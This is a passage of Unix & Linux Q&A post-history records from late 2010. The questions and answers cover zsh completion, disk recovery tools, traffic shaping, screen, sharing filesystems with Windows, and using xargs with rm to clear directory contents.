`badblocks` fails and you still haven't gotten all the unique data off the drive: SpinRite tries harder than `badblocks` does." />
  <row Id="11610" PostHistoryTypeId="2" PostId="5229" RevisionGUID="3dbc02f1-22e7-4d92-927a-8ef6ff9110ec" CreationDate="2010-12-29T20:34:21.723" UserId="3360" Text="In zsh (as well as bash) you can use some history word expansions to denote arguments from previous commands. &#xD;&#xA;&#xD;&#xA;This example shows getting the 2nd parameter from the previous command in history with `!:#` expansion:&#xD;&#xA;&#xD;&#xA;    % echo foo bar baz&#xD;&#xA;    foo bar baz&#xD;&#xA;    % echo !:2&#xD;&#xA;    echo bar&#xD;&#xA;    bar&#xD;&#xA;&#xD;&#xA;I often forget exactly what # parameter a particular argument is and typing `!:#` isn't always that quick when I do remember which arg it is.  I know about `meta-.` to replace the last argument, but sometimes it isn't the last arg that I want.&#xD;&#xA;&#xD;&#xA;I'd like to add the arguments from the previous command as suggestions to complete any command that I'm typing in zsh.&#xD;&#xA;&#xD;&#xA;I was able to figure out how to create a shell function that can create an array of arguments (0..N) from the last command and bind it to a particular command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    _last_command_args() {&#xD;&#xA;        last_command=$history[$[HISTCMD-1]]&#xD;&#xA;        last_command_array=(&quot;${(s/ /)last_command}&quot;) &#xD;&#xA;        _sep_parts last_command_array&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # trying to get last_command_args to be suggested for any command, this just works for foo&#xD;&#xA;    compdef _last_command_args foo&#xD;&#xA;&#xD;&#xA;This is what it looks like for completing just foo where I hit the tab key at `&lt;TAB&gt;`:&#xD;&#xA;&#xD;&#xA;    % echo bar baz qux&#xD;&#xA;    bar baz qux&#xD;&#xA;    % foo &lt;TAB&gt;&#xD;&#xA;    bar   baz   echo  qux &#xD;&#xA;&#xD;&#xA;This works great for completing the command &quot;foo&quot;, but I'd like these to be options on any zsh expansion that I do.  I think it's got something to do with the zstyle completer stuff, but after a few hours of hacking around I realized I'm out of my depth.&#xD;&#xA;&#xD;&#xA;How can I get the arguments from my previous command as suggested completions for any command in zsh?&#xD;&#xA;&#xD;&#xA;I've got my full [zshrc compinstall file][1] shared out on bitbucket if that helps.  Lots of it is cribbed from a variety of sources and some of it I've hacked together myself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/tednaleid/shared-zshrc/src/tip/zshrc_compinstall" />
  <row Id="11611" PostHistoryTypeId="1" PostId="5229" RevisionGUID="3dbc02f1-22e7-4d92-927a-8ef6ff9110ec" CreationDate="2010-12-29T20:34:21.723" UserId="3360" Text="Add arguments from previous command to zsh completion" />
  <row Id="11612" PostHistoryTypeId="3" PostId="5229" RevisionGUID="3dbc02f1-22e7-4d92-927a-8ef6ff9110ec" CreationDate="2010-12-29T20:34:21.723" UserId="3360" Text="éshellàézshàéscriptà" />
  <row Id="11613" PostHistoryTypeId="2" PostId="5230" RevisionGUID="10751fe2-6c6d-485d-95f3-b978d13ca474" CreationDate="2010-12-29T21:12:24.730" UserId="885" Text="You can use [`ddrescue`](http://www.gnu.org/software/ddrescue/manual/ddrescue_manual.html) or [`dd_rescue`](http://www.garloff.de/kurt/linux/ddrescue/) or [`myrescue`](http://myrescue.sourceforge.net/) to clone the failing disk, without aborting on any unreadable sector. (Myrescue is less configurable but has a better default strategy as it tries to skip over unreadable regions.) This will copy everything including blank space and won't let you set priorities. However, such a low-level approach has an advantage over filesystem-level tools: if a directory is unreadable, you might still recover the files it contains by searching the raw image with tools such as [foremost](http://foremost.sourceforge.net/), [magicrescue](http://jbj.rapanden.dk/magicrescue/), [testdisk](http://www.cgsecurity.org/wiki/TestDisk), …&#xD;&#xA;" />
  <row Id="11614" PostHistoryTypeId="6" PostId="5229" RevisionGUID="802b1c83-33ec-48d8-97bc-e5283e8b7e75" CreationDate="2010-12-29T21:31:35.687" UserId="885" Comment="edited tags" Text="ézshàéautocompleteà" />
  <row Id="11615" PostHistoryTypeId="2" PostId="5231" RevisionGUID="94690780-60e3-42d2-a51f-4c1e41b34cbf" CreationDate="2010-12-29T23:23:05.477" UserId="688" Text="Often when I have wanna surf the web, I find that I have to pause my BitTorrent client, to help improve the painfully slow speed (I'm sadly on a 384kbps line). Please show me the magic button, the one which I only need to press once in order to be blessed with speedier, higher-priority surfing, where the torrents speed take a backseat, only to resume to full speed once my web-surfing is over.&#xD;&#xA;&#xD;&#xA;[__FYI__] NetworkManager manages my network, and Transmission is my BitTorrent client.&#xD;&#xA;" />
  <row Id="11616" PostHistoryTypeId="1" PostId="5231" RevisionGUID="94690780-60e3-42d2-a51f-4c1e41b34cbf" CreationDate="2010-12-29T23:23:05.477" UserId="688" Text="How to give HTTP traffic higher priority?" />
  <row Id="11617" PostHistoryTypeId="3" PostId="5231" RevisionGUID="94690780-60e3-42d2-a51f-4c1e41b34cbf" CreationDate="2010-12-29T23:23:05.477" UserId="688" Text="énetworkingàébittorrentà" />
  <row Id="11621" PostHistoryTypeId="6" PostId="5231" RevisionGUID="9934ac69-3253-4e43-bb8a-cdb59bab2889" CreationDate="2010-12-29T23:47:03.840" UserId="688" Comment="edited tags" Text="élinuxàénetworkingàébittorrentà" />
  <row Id="11622" PostHistoryTypeId="5" PostId="4118" RevisionGUID="e08666bd-049c-4666-bd1d-915c1a91e515" CreationDate="2010-12-30T01:53:48.767" UserId="1207" Comment="deleted 6 characters in body" Text="I use screen both locally and remotely. I find that I use screen because it gives me the ability to &#xD;&#xA;&#xD;&#xA; - Run multiple tasks without making multiple ssh connections to a remote server,&#xD;&#xA; - Run a long-running task in screen, detach, disconnect.  The job will still be running in screen and I can come back later, reattach, and check its progress.  &#xD;&#xA; - Have a more or less persistent workspace on a server, which is nice when I am doing something that involves multiple steps over the course of a day.&#xD;&#xA; - Receive important system information in a non-intrusive way using the screen profile customizations provided by [byobu][1].&#xD;&#xA; - Use &quot;Named Tabs&quot;: In screen I can give each &quot;tab&quot; in screen a name, allowing me to instantly know where to switch to.&#xD;&#xA; - Use more keyboard shortcuts.  If you do most of your work at the computer, not having to use the mouse is a real plus.  I find that `screen`'s keyboard shortcuts provide a bit more power, but this may just because I've never invested in truly learning all of the GTK shortcuts.&#xD;&#xA;&#xD;&#xA;Here is a screen shot of a recently started screen session using byobu and other customizations:&#xD;&#xA;![Screen using Byobu][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/byobu&#xD;&#xA;  [2]: http://i.imgur.com/UY6D7.png" />
  <row Id="11623" PostHistoryTypeId="5" PostId="5208" RevisionGUID="0bae870d-3833-425b-ba74-9b66d1c1c69d" CreationDate="2010-12-30T04:29:23.130" UserId="3283" Comment="added 7 characters in body" Text="I'm asking as I've looked for such &amp; can't find a comprehensive list.&#xD;&#xA;&#xD;&#xA;Feel free to post any less-well-known rolling distros, but I'm really looking for a comprehensive list. I'm thinking of creating a Wikipedia page &quot;List of rolling-release Linux distributions&quot;. If there's already a good list somewhere then would help produce a draft of the Wikipedia page. If there isn't such a list on the Web it highlights the need of gathering that information on a site where most people would look for it.&#xD;&#xA;&#xD;&#xA;Wikipedia seemed to me like the obvious choice but suggestions of a better site [preferably, but not necessarily, a wiki] are welcome.&#xD;&#xA;&#xD;&#xA;Please don't post Dev.-branches: eg Fedora-Rawhide. Please don't post the following rolling-distros as I'm already aware of them: Aptosid, LMDE, AnitX;  OpenSuSE-Tumbleweed; Yoper; Foresight; PCLOS; Unity; Arch, ArchBang, Chakra, Kahel; Gentoo &amp; Sabayon; Lunar, Sorcerer, SourceMage, LFS.&#xD;&#xA;&#xD;&#xA;If any I've mentioned aren't rolling do correct me. I know some might not call AntiX &amp; LMDE rolling as Debian-Testing &quot;cycles&quot;. I also know PCLOS &amp; Sabayon can need to be reinstalled (eg when PCLOS re-forks the Mandriva base).&#xD;&#xA;&#xD;&#xA;BTW I know there's a similar question asking &quot;What distributions have rolling releases?&quot; that was asked in August -- however it seems &quot;inactive&quot; and I'm really after a comprehensive list not the usual suspects. &#xD;&#xA;&#xD;&#xA;My thanks to everyone who posts a comment or an answer. Also, thank you to anyone who up-votes (and even those who down-vote) this question.&#xD;&#xA;&#xD;&#xA;[Please leave a comment if you want to help create such a list or email my user-name at gmail.] &#xD;&#xA;&#xD;&#xA;PS If anyone objects to the question please post a comment so the moderator can choose whether to close it. I'm happy to re-edit the question if anyone wants so please let me know. :-)" />
  <row Id="11624" PostHistoryTypeId="2" PostId="5232" RevisionGUID="3f907515-9817-497e-88b8-731163de450f" CreationDate="2010-12-30T04:46:50.320" UserId="4" Text="This post is regarding the network issues brought up in the question, not about kernel debugging.&#xD;&#xA;&#xD;&#xA;If your switch supports Spanning Tree Protocol (STP), keep in mind that STP may not activate the the Ethernet port on the switch  for 6 seconds or more while STP does it's work. This delay may start over every time the host resets the Ethernet port on the host, which can happen multiple times between power-up, the DHCP request, when the Kernel loads the network drivers, etc. This can interfere with NFS boots for diskless systems, DHCP, kickstart, etc. and has caused plenty of headaches for many sysadmins. For some examples, see RedHat [Bug 189795 - DHCP timeouts during Kickstart ][1], and [this PXE Guide][2].&#xD;&#xA;&#xD;&#xA;Most high end switches such as Cisco switches and HP ProCurve switches do support STP, and it's enabled for all ports out of the box. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.redhat.com/show_bug.cgi?id=189795&#xD;&#xA;  [2]: http://www.stanford.edu/~alfw/PXE-Kickstart/PXE-Kickstart-4.html" />
  <row Id="11625" PostHistoryTypeId="2" PostId="5233" RevisionGUID="34cae616-7c26-48c3-8bf2-05a07fb09f41" CreationDate="2010-12-30T05:00:42.110" UserId="298" Text="Yes, screen is useful.  Here's why in 8 easy steps: &#xD;&#xA;&#xD;&#xA; 1. ssh you@somehost&#xD;&#xA; 2. screen&#xD;&#xA; 3. start doing something *really* important&#xD;&#xA; 4. unplug the router / turn off the power in the building / spill coffee on your laptop (etc[*])&#xD;&#xA; 5. panic&#xD;&#xA; 6. get things back up an running&#xD;&#xA; 7. ssh you@somehost&#xD;&#xA; 8. screen -d -r &#xD;&#xA; 9. continue doing what you were doing before #4&#xD;&#xA;&#xD;&#xA;Ok, so that's 9 steps, but... you get the idea.  screen is also great for all the other things people have mentioned, as is tmux, a BSD licensed alternative that is somewhat new to the game. &#xD;&#xA;&#xD;&#xA;[*] here, etc refers to anything not involving the host you initially ssh'd to. screen isn't *that* good. " />
  <row Id="11626" PostHistoryTypeId="2" PostId="5234" RevisionGUID="fb85045f-9f17-4ae3-b59e-5519844b3e17" CreationDate="2010-12-30T09:25:20.797" UserId="3211" Text="The Linux kernel documents that you can choose to boot Linux with VESA framebuffer consoles instead of the default 80x25 text mode consoles.&#xD;&#xA;&#xD;&#xA;For text application testing purposes, one may need both modes simultaneously. For instance, ALT+1 to ALT+3 in 80x25 text mode and ALT+4 to ALT+6 in framebuffer mode.&#xD;&#xA;&#xD;&#xA;Is there a way to achieve dual mode text displays in a single boot?" />
  <row Id="11627" PostHistoryTypeId="1" PostId="5234" RevisionGUID="fb85045f-9f17-4ae3-b59e-5519844b3e17" CreationDate="2010-12-30T09:25:20.797" UserId="3211" Text="Is it possible to boot an x86 Linux kernel using both 80x25 text mode consoles and VESA framebuffer consoles?" />
  <row Id="11628" PostHistoryTypeId="3" PostId="5234" RevisionGUID="fb85045f-9f17-4ae3-b59e-5519844b3e17" CreationDate="2010-12-30T09:25:20.797" UserId="3211" Text="élinuxàéterminalàébootà" />
  <row Id="11629" PostHistoryTypeId="2" PostId="5235" RevisionGUID="301c76f0-dcd1-45d9-a4c7-367af096d3fb" CreationDate="2010-12-30T09:32:25.903" UserId="863" Text="I have one weak PC (client) but with acceptable 3D performance, and one strong PC (server) which should be capable of running an application using OpenGL twice, i.e. once locally and once remotely for the client. Currently, I `ssh -X` into it, but the client's console output states software rendering is used and I only get 3 frames per second (fps). Actually, ssh's encryption is not necessary since this is on a LAN, but it's what I already know for remote applications...&#xD;&#xA;&#xD;&#xA;So, how can the client performance be increased? My ideas are&#xD;&#xA;&#xD;&#xA;- use hardware acceleration, but the server's or the client's one and how?&#xD;&#xA;- use something different than ssh&#xD;&#xA;&#xD;&#xA;I know, in full resolution and without sophisticated compression a 100 Mbit/s LAN won't make more fps, but it's a windowed application of ca. 800x450, so theoretically up to 12 fps (at 24 bits/pixel) should be possible using uncompressed graphical data. And maybe something better is possible using the client's own GPU or some smart compression." />
  <row Id="11630" PostHistoryTypeId="1" PostId="5235" RevisionGUID="301c76f0-dcd1-45d9-a4c7-367af096d3fb" CreationDate="2010-12-30T09:32:25.903" UserId="863" Text="How to efficiently use 3D via a remote connection?" />
  <row Id="11631" PostHistoryTypeId="3" PostId="5235" RevisionGUID="301c76f0-dcd1-45d9-a4c7-367af096d3fb" CreationDate="2010-12-30T09:32:25.903" UserId="863" Text="ésshàéremoteàéopenglà" />
  <row Id="11632" PostHistoryTypeId="2" PostId="5236" RevisionGUID="1c940999-2bc2-4189-9f30-042260001d14" CreationDate="2010-12-30T10:05:07.283" UserId="3082" Text="The 3D used direct rendering, witch means it's ... direct to the hardware. You won't be able to get any good 3D performance over X protocol, if at all.&#xD;&#xA;&#xD;&#xA;But you've got your systems set up backwards. You don't need a lot of CPU to serve files. Make the less powerful CPU the server, and use the more powerful one as your client (and exchange the graphics card if you can). &#xD;&#xA;&#xD;&#xA;" />
  <row Id="11633" PostHistoryTypeId="2" PostId="5237" RevisionGUID="6ce317f8-fb01-4fd3-8684-73aded8541b1" CreationDate="2010-12-30T10:19:34.933" UserId="2327" Text="As already said, there is no button &quot;Give me fast surfing&quot; somewhere on your desktop. What you want is traffic shaping which is possible with Linux.&#xD;&#xA;&#xD;&#xA;For the complete introduction, you can read these tutorials:  &#xD;&#xA;&#xD;&#xA;  - [Linux Advanced Routing &amp; Traffic Control](http://lartc.org/)  &#xD;&#xA;  - [Traffic Control HOWTO](http://tldp.org/HOWTO/Traffic-Control-HOWTO/index.html)&#xD;&#xA;  - [tc: Linux HTTP Outgoing Traffic Shaping (Port 80 Traffic Shaping)](http://www.cyberciti.biz/faq/linux-traffic-shaping-using-tc-to-control-http-traffic/)&#xD;&#xA;&#xD;&#xA;But I think you are searching for something more like these:  &#xD;&#xA;&#xD;&#xA;  - [The Wonder Shaper](http://lartc.org/wondershaper/)&#xD;&#xA;  - [MasterShaper](http://www.mastershaper.org/index.php/MasterShaper)&#xD;&#xA;&#xD;&#xA;These are scripts which will do the work for you." />
  <row Id="11634" PostHistoryTypeId="2" PostId="5238" RevisionGUID="7a6fb3cf-9b9d-4ab4-93d9-1855cb3215b8" CreationDate="2010-12-30T10:56:40.277" UserId="863" Text="On my new PC I want to install both Linux and Windows, each on their own rather small partition, and put the big rest of the 1 TB HDD in a further partition (plus swap). Which filesystem should I use? My thoughts:&#xD;&#xA;&#xD;&#xA;- NTFS. Linux has write support, but I noticed on my external HDD a huge perfomance drop when only a few GB (of 500 GB) were left free - suddenly a few hundred MB took half an hour to copy... Also no file permissions with Linux, although that is not 100% necessary but would be a bonus&#xD;&#xA;- fat32. Too old, won't support that partition size anyway&#xD;&#xA;- ext3. Windows can read for example via [ext2ifs](http://www.fs-driver.org/), but what about good write support? I'd even consider a small virtual machine with a tiny Linux installation to only provide a NFS share to its host windows (probably qemu, distro recommendation are appreciated)&#xD;&#xA;- ext4. I lack the experience with it...&#xD;&#xA;&#xD;&#xA;It looks lke NTFS is the way to go for now (just was it was [two years ago](http://serverfault.com/q/3038/45248)), but I'd prefer a less proprietary solution...&#xD;&#xA;&#xD;&#xA;&lt;!-- Oh yeah, if you wonder what I'd use windows for anyway, the only reason still remaining is games...--&gt;" />
  <row Id="11635" PostHistoryTypeId="1" PostId="5238" RevisionGUID="7a6fb3cf-9b9d-4ab4-93d9-1855cb3215b8" CreationDate="2010-12-30T10:56:40.277" UserId="863" Text="Which filesystem to use for a partition shared with a parallel windows instalation?" />
  <row Id="11636" PostHistoryTypeId="3" PostId="5238" RevisionGUID="7a6fb3cf-9b9d-4ab4-93d9-1855cb3215b8" CreationDate="2010-12-30T10:56:40.277" UserId="863" Text="éwindowsàéfileösharingà" />
  <row Id="11637" PostHistoryTypeId="5" PostId="5235" RevisionGUID="c4082598-58c7-46cc-9b8c-0723881b9e9d" CreationDate="2010-12-30T11:00:33.640" UserId="863" Comment="added 182 characters in body; added 37 characters in body" Text="I have one weak PC (client) but with acceptable 3D performance, and one strong PC (server) which should be capable of running an application using OpenGL twice, i.e. once locally and once remotely for the client. Currently, I `ssh -X` into it, but the client's console output states software rendering is used and I only get 3 frames per second (fps). Actually, ssh's encryption is not necessary since this is on a LAN, but it's what I already know for remote applications...&#xD;&#xA;&#xD;&#xA;So, how can the client performance be increased? My ideas are&#xD;&#xA;&#xD;&#xA;- use hardware acceleration, but the server's or the client's one and how?&#xD;&#xA;- use something different than ssh&#xD;&#xA;&#xD;&#xA;I know, in full resolution and without sophisticated compression a 100 Mbit/s LAN won't make more fps, but it's a windowed application of ca. 800x450, so theoretically up to 12 fps (at 24 bits/pixel) should be possible using uncompressed graphical data. And maybe something better is possible using the client's own GPU or some smart compression.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;**edit** Turns out what I want is basically a local version of what e.g. [onlive](http://www.onlive.com) and [gaikai](http://www.gaikai.com/) offers. Is there something like this for Linux (and possibly free)?" />
  <row Id="11638" PostHistoryTypeId="2" PostId="5239" RevisionGUID="dfab46fe-0236-40fa-aa9b-9570f6c67a85" CreationDate="2010-12-30T11:19:10.763" UserId="252" Text="If you don't mind running a VM. You could use it to share your partition via samba (simpler in Windows then NFS)" />
  <row Id="11639" PostHistoryTypeId="2" PostId="5240" RevisionGUID="d1854c8c-15d8-48b5-bb86-964e6b9abb54" CreationDate="2010-12-30T11:31:13.247" UserId="252" Text="You could check out [VirtualGL](http://www.virtualgl.org/) together with [TurboVNC](http://www.virtualgl.org/Downloads/TurboVNC) should provide you with 20fps @ 1280x1024 on 100 Mbit ([see wikipedia](http://en.wikipedia.org/wiki/VirtualGL#TurboVNC)).&#xD;&#xA;&#xD;&#xA;Do note that it might not work with all applications, it depends on how they use OpenGL." />
  <row Id="11640" PostHistoryTypeId="2" PostId="5241" RevisionGUID="424563d5-1123-46e2-a648-70da573f0b0c" CreationDate="2010-12-30T12:36:37.280" UserId="2327" Text="I use an ext3 partition with ext2ifs and it works fine for reading and writing." />
  <row Id="11641" PostHistoryTypeId="2" PostId="5242" RevisionGUID="58fa8c5a-bf47-463f-b4bb-83506ddfba8d" CreationDate="2010-12-30T13:46:07.587" UserId="885" Text="If you run [coLinux](http://www.colinux.org/) on Windows (through the [andLinux](http://www.andlinux.org/) distribution or [otherwise](http://colinux.wikia.com/wiki/FAQ#Q2._What_Linux_distributions_run_under_coLinux.3F)), you can use it to access any filesystem that Linux supports." />
  <row Id="11642" PostHistoryTypeId="2" PostId="5243" RevisionGUID="a5e294cd-f34a-43c0-90d2-c19f327a042d" CreationDate="2010-12-30T14:26:30.260" UserId="228" Text="Mono does not support AIX.&#xD;&#xA;&#xD;&#xA;If you want to try to port Mono to AIX, you would probably want to:&#xD;&#xA;&#xD;&#xA;* Turn on the manual checking of dereferences in Mono, as AIX keeps the page at address zero mapped, preventing a whole class of errors from being caught.   I forget the name of the define, but it was introduced some six months ago.&#xD;&#xA;&#xD;&#xA;* You would have to make sure that your signal handlers work, and that exception unwinding works on your platform.&#xD;&#xA;&#xD;&#xA;The rest is probably replacing a few Posix functions with some AIX equivalents, but if you get the two above working, you would likely have a working Mono installation.   But neither one of those tasks is easy.&#xD;&#xA;" />
  <row Id="11643" PostHistoryTypeId="5" PostId="5208" RevisionGUID="98a5cb73-3136-40b1-97d5-9852a0069993" CreationDate="2010-12-30T14:38:07.970" UserId="3283" Comment="added 39 characters in body; added 11 characters in body" Text="I'm asking as I've looked for such &amp; can't find a comprehensive list.&#xD;&#xA;&#xD;&#xA;Feel free to post any less-well-known rolling distros, but I'm really looking for a comprehensive list. I'm thinking of creating a Wikipedia page &quot;List of rolling-release Linux distributions&quot;. If there's already a good list somewhere then would help produce a draft of the Wikipedia page. If there isn't such a list on the Web it highlights the need of gathering that information on a site where most people would look for it.&#xD;&#xA;&#xD;&#xA;Wikipedia seemed to me like the obvious choice but suggestions of a better site [preferably, but not necessarily, a wiki] are welcome.&#xD;&#xA;&#xD;&#xA;Please don't post Dev.-branches: eg Fedora-Rawhide, Mandriva-Cooker, OpenSuSE-Factory etc.&#xD;&#xA;Also, please don't post the following rolling-distros as I'm already aware of them: Aptosid, LMDE, AnitX;  OpenSuSE-Tumbleweed; Yoper; Foresight; PCLinuxOS; Unity; Arch, ArchBang, Chakra, Kahel; Gentoo &amp; Sabayon; Lunar, Sorcerer, SourceMage, LFS.&#xD;&#xA;&#xD;&#xA;If any I've mentioned aren't rolling do correct me. I know some might not call AntiX &amp; LMDE rolling as Debian-Testing &quot;cycles&quot;. I also know PCLOS &amp; Sabayon can need to be reinstalled (eg when PCLOS re-forks the Mandriva base).&#xD;&#xA;&#xD;&#xA;BTW I know there's a similar question asking &quot;What distributions have rolling releases?&quot; that was asked in August -- however it seems &quot;inactive&quot; and I'm really after a comprehensive list not the usual suspects. &#xD;&#xA;&#xD;&#xA;My thanks to everyone who posts a comment or an answer. Also, thank you to anyone who up-votes (and even those who down-vote) this question.&#xD;&#xA;&#xD;&#xA;[Please leave a comment if you want to help create such a list or email my user-name at gmail.] &#xD;&#xA;&#xD;&#xA;PS If anyone objects to the question please post a comment so the moderator can choose whether to close it. I'm happy to re-edit the question if anyone wants so please let me know. :-)" />
  <row Id="11644" PostHistoryTypeId="5" PostId="5208" RevisionGUID="2b5b2d04-3de8-47a0-a903-58bbcb569236" CreationDate="2010-12-30T14:47:48.580" UserId="3283" Comment="deleted 3 characters in body" Text="I'm asking as I've looked for such &amp; can't find a comprehensive list.&#xD;&#xA;&#xD;&#xA;Feel free to post any less-well-known rolling distros, but I'm really looking for a comprehensive list. I'm thinking of creating a Wikipedia page &quot;List of rolling-release Linux distributions&quot;. If there's already a good list somewhere then would help produce a draft of the Wikipedia page. If there isn't such a list on the Web it highlights the need of gathering that information on a site where most people would look for it.&#xD;&#xA;&#xD;&#xA;Wikipedia seemed to me like the obvious choice but suggestions of a better site [preferably, but not necessarily, a wiki] are welcome.&#xD;&#xA;&#xD;&#xA;Please don't post Dev.-branches: eg Fedora-Rawhide, Mandriva-Cooker, OpenSuSE-Factory etc.&#xD;&#xA;&#xD;&#xA;Also, please don't post the following rolling-distros as I'm already aware of them: Aptosid, LMDE, AnitX;  OpenSuSE-Tumbleweed; Yoper; Foresight; PCLinuxOS; Unity; Arch, ArchBang, Chakra, Kahel; Gentoo &amp; Sabayon; Lunar, Sorcerer, SourceMage.&#xD;&#xA;&#xD;&#xA;If any I've mentioned aren't rolling do correct me. I know some might not call AntiX &amp; LMDE rolling as Debian-Testing &quot;cycles&quot;. I also know PCLOS &amp; Sabayon can need to be reinstalled (eg when PCLOS re-forks the Mandriva base).&#xD;&#xA;&#xD;&#xA;BTW I know there's a similar question asking &quot;What distributions have rolling releases?&quot; that was asked in August -- however it seems &quot;inactive&quot; and I'm really after a comprehensive list not the usual suspects. &#xD;&#xA;&#xD;&#xA;My thanks to everyone who posts a comment or an answer. Also, thank you to anyone who up-votes (and even those who down-vote) this question.&#xD;&#xA;&#xD;&#xA;[Please leave a comment if you want to help create such a list or email my user-name at gmail.] &#xD;&#xA;&#xD;&#xA;PS If anyone objects to the question please post a comment so the moderator can choose whether to close it. I'm happy to re-edit the question if anyone wants so please let me know. :-)" />
  <row Id="11645" PostHistoryTypeId="2" PostId="5244" RevisionGUID="7994ded7-a612-4a5d-b5fd-3af7190afab6" CreationDate="2010-12-30T14:52:26.913" UserId="250" Text="Currently I have a NTFS partition that contains shared data. My rationale is, NTFS doesn't have any idea about file permissions, so I won't have any trouble using them in a multi-boot system (currently I have Gentoo and Ubuntu, and the data partition is auto-mounted on both). Now I want to get rid of the NTFS thing, if possible. So the question is, how can I use something like `ext4` and setup the same thing?" />
  <row Id="11646" PostHistoryTypeId="1" PostId="5244" RevisionGUID="7994ded7-a612-4a5d-b5fd-3af7190afab6" CreationDate="2010-12-30T14:52:26.913" UserId="250" Text="How to setup a &quot;data&quot; partition shared by multiple OS'es?" />
  <row Id="11647" PostHistoryTypeId="3" PostId="5244" RevisionGUID="7994ded7-a612-4a5d-b5fd-3af7190afab6" CreationDate="2010-12-30T14:52:26.913" UserId="250" Text="éfilesystemsàéfileösharingàédualöbootà" />
  <row Id="11648" PostHistoryTypeId="2" PostId="5245" RevisionGUID="34d33e1f-9c15-4a07-b805-911fbc048903" CreationDate="2010-12-30T15:06:52.360" UserId="2974" Text="Your choice of filesystem depends on the operating systems that will need to read and write to the filesystem.&#xD;&#xA;&#xD;&#xA;Since Windows doesn't natively support EXT4, and there is no 3rd party product to allow Windows to write to EXT4, I would use NTFS or FAT32 if Windows is one of the operating systems you need to share access to that data.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11649" PostHistoryTypeId="2" PostId="5246" RevisionGUID="20b6eb7c-95db-49a0-9a71-167d986ec20a" CreationDate="2010-12-30T15:07:08.883" UserId="3374" Text="I am trying to execute the following command&#xD;&#xA;&#xD;&#xA;    ls -d a* | xargs -i sudo rm -rf {}/*&#xD;&#xA;&#xD;&#xA;The problem is that when I add the `/*` part the command does not work. I want to remove the directory contents (not the directory itself)." />
  <row Id="11650" PostHistoryTypeId="1" PostId="5246" RevisionGUID="20b6eb7c-95db-49a0-9a71-167d986ec20a" CreationDate="2010-12-30T15:07:08.883" UserId="3374" Text="Xargs and rm with a *" />
  <row Id="11651" PostHistoryTypeId="3" PostId="5246" RevisionGUID="20b6eb7c-95db-49a0-9a71-167d986ec20a" CreationDate="2010-12-30T15:07:08.883" UserId="3374" Text="éxargsà" />
  <row Id="11652" PostHistoryTypeId="2" PostId="5247" RevisionGUID="50027c36-f3e9-463f-8c55-34390a1bbfa9" CreationDate="2010-12-30T15:20:10.070" UserId="2974" Text="Commands like `rm` rely on the shell to expand wildcards, so you'd need to invoke a shell somewhere.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Perhaps&#xD;&#xA;&#xD;&#xA;     ls -d a* | xargs -i sh -c sudo rm -rf {}/*" />
  <row Id="11653" PostHistoryTypeId="2" PostId="5248" RevisionGUID="585c19e4-aaed-49b3-aaa9-9676c7041368" CreationDate="2010-12-30T15:22:13.173" UserId="885" Text="NTFS does have file permissions. Either you squashed them through mount options or you used consistent user mappings or you made your files world-accessible.&#xD;&#xA;&#xD;&#xA;If you use a filesystem whose driver doesn't support user mappings, you have several options:&#xD;&#xA;&#xD;&#xA;* Arrange to give corresponding users the same user IDs on all operating systems.&#xD;&#xA;&#xD;&#xA;* Make files world-accessible through an access control list (this requires a filesystem that supports ACLs; ext[234] do, but you may have to add the `acl` mount option in your `/etc/fstab`). Run the following commands to make a directory tree world-accessible, and to make files created there in the future world-accessible:&#xD;&#xA;&#xD;&#xA;        setfacl -m other:rwx -d -R .&#xD;&#xA;        setfacl -m other:rwx -R .&#xD;&#xA;&#xD;&#xA;* Mount the filesystem normally and provide a view of the filesystem with different ownership or permissions. This is possible with [bindfs](http://code.google.com/p/bindfs), for example:&#xD;&#xA;&#xD;&#xA;        mount /dev/sdz99 /media/sdz99&#xD;&#xA;        bindfs -u phunehehe /media/sdz99 /media/shared&#xD;&#xA;&#xD;&#xA;    Or as an `fstab` entry:&#xD;&#xA;&#xD;&#xA;        /dev/sdz99  /media/sdz99  auto  defaults  0 2&#xD;&#xA;        bindfs#/media/sdz99  /media/shared  fuse  owner=phunehehe&#xD;&#xA;&#xD;&#xA;NTFS has the advantage that it's straightforwardly sharable with Windows, it is [not a requirement for Windows sharing](http://unix.stackexchange.com/questions/5238/which-filesystem-to-use-for-a-partition-shared-with-a-parallel-windows-instalatio).&#xD;&#xA;" />
  <row Id="11654" PostHistoryTypeId="2" PostId="5249" RevisionGUID="9a01a3e7-9294-4d6d-8709-9ed8d273ecc9" CreationDate="2010-12-30T15:24:56.900" UserId="678" Text="What about `rm -r a*/*`? This should solve your issue." />
  <row Id="11655" PostHistoryTypeId="6" PostId="5246" RevisionGUID="caa527e3-38d6-4917-9594-15509dd758b1" CreationDate="2010-12-30T15:42:46.603" UserId="3069" Comment="edited tags" Text="éshellàéxargsà" />
  <row Id="11656" PostHistoryTypeId="2" PostId="5250" RevisionGUID="f63ae081-21dd-4b40-863e-6c6549a348ac" CreationDate="2010-12-30T15:59:39.580" UserId="885" Text="*(**Warning**: I haven't tested any of these commands. There may be typos or errors. Try everything with `echo` or `ls` and no `sudo` first.)*&#xD;&#xA;&#xD;&#xA;General advice: `xargs` is rarely the simplest way to do something. Without `-i` (which is deprecated by the way, use the portable `-I {}` instead), `xargs` expects an input format that no standard or common tool produces. With `-I`, `xargs` does have some use, though if you're piping `find` into it, `find -exec` is simpler.&#xD;&#xA;&#xD;&#xA;You need a shell to expand `{}/*`, and that shell must act after `{}` has been replaced by one actual path. A simple solution is to do the line-by-line processing in the shell. Note the use of three patterns to capture all the files in a directory as `*` omits dot files; it doesn't matter if some of the patterns don't match any file, as `rm -f` ignores any argument that doesn't reference an existing file.&#xD;&#xA;&#xD;&#xA;    … |&#xD;&#xA;    while read -r line; do&#xD;&#xA;      sudo rm -rf -- &quot;$line&quot;/* &quot;$line&quot;/.[^.]* &quot;$line&quot;/..?*&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Xargs is no use here since you have to process the files one by one anyway at some point, in order to get the shell to perform the globbing. As the general technique can be useful however, here's a way to feed file names back into a shell from xargs. The `_` is the `$0` argument to the shell (it's there in part not to have to bother to stick `$0` back onto any subsequent argument, and to ensure that everything works even if 